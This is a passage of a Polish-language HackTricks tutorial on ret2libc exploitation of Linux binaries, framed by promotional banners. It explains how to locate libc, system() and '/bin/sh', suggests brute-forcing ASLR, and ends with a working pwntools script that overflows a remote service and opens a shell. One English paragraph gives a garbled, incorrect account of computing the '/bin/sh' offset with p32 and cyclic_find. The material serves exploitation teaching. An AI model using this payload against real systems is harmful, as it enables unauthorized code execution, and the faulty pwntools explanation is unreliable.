hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md
2024-02-11 01:46:25 +00:00

127 lines
5.9 KiB
Markdown

<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>
**Jeśli znalazłeś podatny plik binarny i sądzisz, że możesz go wykorzystać za pomocą Ret2Lib, tutaj znajdziesz kilka podstawowych kroków, które możesz podjąć.**
# Jeśli jesteś **wewnątrz** **hosta**
## Możesz znaleźć **adres lib**c
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz to zrobić:
```bash
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
```
## Uzyskaj przesunięcie funkcji systemowej
To uzyskać przesunięcie funkcji systemowej, możemy użyć narzędzia `objdump`. Narzędzie to analizuje plik wykonywalny i wyświetla informacje o sekcjach, symbolach i funkcjach w pliku.
Aby uzyskać przesunięcie funkcji systemowej, wykonaj następujące kroki:
1. Uruchom polecenie `objdump -T <nazwa_pliku>` w terminalu, gdzie `<nazwa_pliku>` to nazwa pliku wykonywalnego, w którym chcemy znaleźć przesunięcie funkcji systemowej.
2. Przeszukaj wynik polecenia `objdump` w poszukiwaniu funkcji systemowej, której przesunięcie chcemy znaleźć. Możesz to zrobić, szukając nazwy funkcji systemowej, na przykład `system`.
3. Znajdź wiersz, który zawiera nazwę funkcji systemowej i przesunięcie. Przesunięcie będzie znajdować się w kolumnie po prawej stronie.
Przykładowy wynik polecenia `objdump -T <nazwa_pliku>` może wyglądać tak:
```
...
00000000004005e0 g DF .text 0000000000000013 Base system
...
```
W tym przykładzie przesunięcie funkcji systemowej wynosi `00000000004005e0`.
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
To get the offset of "/bin/sh", we can use the `pwn` module in Python. The `pwn` module provides a function called `p32` that converts an integer to a little-endian byte string. We can use this function to convert the address of "/bin/sh" to a byte string and then find its offset in the payload.
Here is an example code snippet to calculate the offset:
```python
from pwn import *
# Address of "/bin/sh"
bin_sh_addr = 0x12345678
# Convert the address to a little-endian byte string
bin_sh_bytes = p32(bin_sh_addr)
# Find the offset of "/bin/sh" in the payload
offset = cyclic_find(bin_sh_bytes)
print("Offset of \"/bin/sh\":", offset)
```
Replace `0x12345678` with the actual address of "/bin/sh" in your target binary. After running the code, it will print the offset of "/bin/sh" in the payload.
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
## /proc/\<PID>/maps
Jeśli proces tworzy **dzieci** za każdym razem, gdy z nim rozmawiasz (serwer sieciowy), spróbuj **odczytać** ten plik (prawdopodobnie będziesz musiał być rootem).
Tutaj możesz znaleźć **dokładne miejsce, w którym jest załadowana biblioteka libc** wewnątrz procesu i **gdzie będzie załadowana** dla każdego dziecka procesu.
![](<../../.gitbook/assets/image (95).png>)
W tym przypadku jest załadowana pod adresem **0xb75dc000** (Będzie to adres bazowy biblioteki libc)
## Używając gdb-peda
Uzyskaj adres funkcji **system**, funkcji **exit** i ciągu znaków **"/bin/sh"** za pomocą gdb-peda:
```
p system
p exit
find "/bin/sh"
```
# Omijanie ASLR
Możesz spróbować bruteforce'ować adres bazowy libc.
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
# Kod
```python
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
```
<details>
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Inne sposoby wsparcia HackTricks:
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
</details>